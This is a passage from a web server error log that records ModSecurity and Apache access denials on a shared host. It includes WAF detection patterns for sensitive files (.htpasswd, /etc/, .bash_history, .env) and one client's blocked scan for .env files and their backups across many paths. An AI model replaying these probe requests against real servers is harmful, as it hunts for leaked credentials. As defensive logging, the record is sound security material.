https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:22:54.116358 2026] [security2:error] [pid 715691:tid 715930] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/asin_error.phpt"] [unique_id "ai30XrV-dFiaX9AtWiQe4AAAAWM"] [Sat Jun 13 18:22:54.166849 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.42:53064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:54.167122 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.42:53064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:54.315306 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.11:64945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:54.315749 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.11:64945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:54.453455 2026] [security2:error] [pid 715691:tid 715744] [remote 57.141.14.108:33649] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30XrV-dFiaX9AtWiQe5wABFyI"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=3097&_wpnonce=8d149de2a5&add-to-cart=398 [Sat Jun 13 18:22:54.575246 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:22:54.575506 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:22:54.713140 2026] [security2:error] [pid 715691:tid 715941] [client 23.137.105.241:42204] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai30XrV-dFiaX9AtWiQe9QAAAW4"] [Sat Jun 13 18:22:54.757864 2026] [security2:error] [pid 715691:tid 715861] [client 23.137.105.241:42390] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/web/.env"] [unique_id "ai30XrV-dFiaX9AtWiQe_AAAAR4"] [Sat Jun 13 18:22:54.759207 2026] [security2:error] [pid 715691:tid 715957] [client 23.137.105.241:42360] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/laravel/.env"] [unique_id "ai30XrV-dFiaX9AtWiQe_gAAAX4"] [Sat Jun 13 18:22:54.759433 2026] [security2:error] [pid 715691:tid 715918] [client 23.137.105.241:42328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/app/.env"] [unique_id "ai30XrV-dFiaX9AtWiQe_wAAAVc"] [Sat Jun 13 18:22:54.760906 2026] [security2:error] [pid 646876:tid 647133] [client 23.137.105.241:42396] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/public/.env"] [unique_id "ai30XtyTkdrNlD40tSHPtwAAAH0"] [Sat Jun 13 18:22:54.761803 2026] [security2:error] [pid 646876:tid 647071] [client 23.137.105.241:42386] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/server/.env"] [unique_id "ai30XtyTkdrNlD40tSHPuAAAAD8"] [Sat Jun 13 18:22:54.762000 2026] [security2:error] [pid 646876:tid 647062] [client 23.137.105.241:42376] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/src/.env"] [unique_id "ai30XtyTkdrNlD40tSHPuQAAADY"] [Sat Jun 13 18:22:54.762482 2026] [security2:error] [pid 715691:tid 715952] [client 23.137.105.241:42270] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.backup"] [unique_id "ai30XrV-dFiaX9AtWiQfAwAAAXk"] [Sat Jun 13 18:22:54.762582 2026] [security2:error] [pid 646876:tid 647082] [client 23.137.105.241:42340] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/api/.env"] [unique_id "ai30XtyTkdrNlD40tSHPugAAAEo"] [Sat Jun 13 18:22:54.762783 2026] [security2:error] [pid 646876:tid 647022] [client 23.137.105.241:42352] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/backend/.env"] [unique_id "ai30XtyTkdrNlD40tSHPvAAAAA4"] [Sat Jun 13 18:22:54.764806 2026] [security2:error] [pid 646876:tid 647115] [client 23.137.105.241:42256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.bak"] [unique_id "ai30XtyTkdrNlD40tSHPvQAAAGs"] [Sat Jun 13 18:22:54.767380 2026] [security2:error] [pid 646876:tid 647130] [client 23.137.105.241:42302] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.old"] [unique_id "ai30XtyTkdrNlD40tSHPwwAAAHo"] [Sat Jun 13 18:22:55.047183 2026] [access_compat:error] [pid 715691:tid 715730] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:55.047627 2026] [access_compat:error] [pid 715691:tid 715730] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:55.095549 2026] [security2:error] [pid 646876:tid 646976] [remote 17.246.19.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30X9yTkdrNlD40tSHP3wAAKmE"] [Sat Jun 13 18:22:55.103719 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9wb3dlcg== [Sat Jun 13 18:22:55.104129 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9wb3dlcg== [Sat Jun 13 18:22:55.110890 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.7:26193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:55.111332 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.7:26193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:55.211257 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.80:49107] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:55.211744 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.80:49107] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:55.277458 2026] [core:error] [pid 715691:tid 715878] [client 50.82.237.183:59026] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:55.277487 2026] [core:error] [pid 715691:tid 715878] [client 50.82.237.183:59026] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:55.440315 2026] [security2:error] [pid 715691:tid 715827] [remote 17.246.19.243:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 243.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30X7V-dFiaX9AtWiQfOwABQXQ"] [Sat Jun 13 18:22:55.522167 2026] [access_compat:error] [pid 715691:tid 715793] [remote 57.141.14.39:35556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:55.522594 2026] [access_compat:error] [pid 715691:tid 715793] [remote 57.141.14.39:35556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:55.637092 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:55.637526 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:55.708207 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.16:54162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:55.708476 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.16:54162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:56.104292 2026] [security2:error] [pid 715691:tid 715722] [remote 17.241.227.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YLV-dFiaX9AtWiQfWgABFww"] [Sat Jun 13 18:22:56.162951 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.64:44442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:56.163396 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.64:44442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:56.176983 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:22:56.177257 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:22:56.304804 2026] [security2:error] [pid 715691:tid 715724] [remote 17.246.15.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YLV-dFiaX9AtWiQfYgABGA4"] [Sat Jun 13 18:22:56.317941 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.56:52208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:56.318451 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.56:52208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:56.332599 2026] [security2:error] [pid 715691:tid 715799] [remote 17.22.237.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30YLV-dFiaX9AtWiQfZgABSlg"] [Sat Jun 13 18:22:56.467784 2026] [security2:error] [pid 715691:tid 715909] [client 108.165.53.26:38533] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "riversho.org"] [uri "/wp/wp-content/plugins/updraftplus/readme.txt"] [unique_id "ai30YLV-dFiaX9AtWiQfbgAAAU4"] [Sat Jun 13 18:22:56.496296 2026] [security2:error] [pid 646876:tid 647001] [remote 47.128.49.52:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "evilbiz.com"] [uri "/robots.txt"] [unique_id "ai30YNyTkdrNlD40tSHP_gAAMHo"] [Sat Jun 13 18:22:56.707905 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 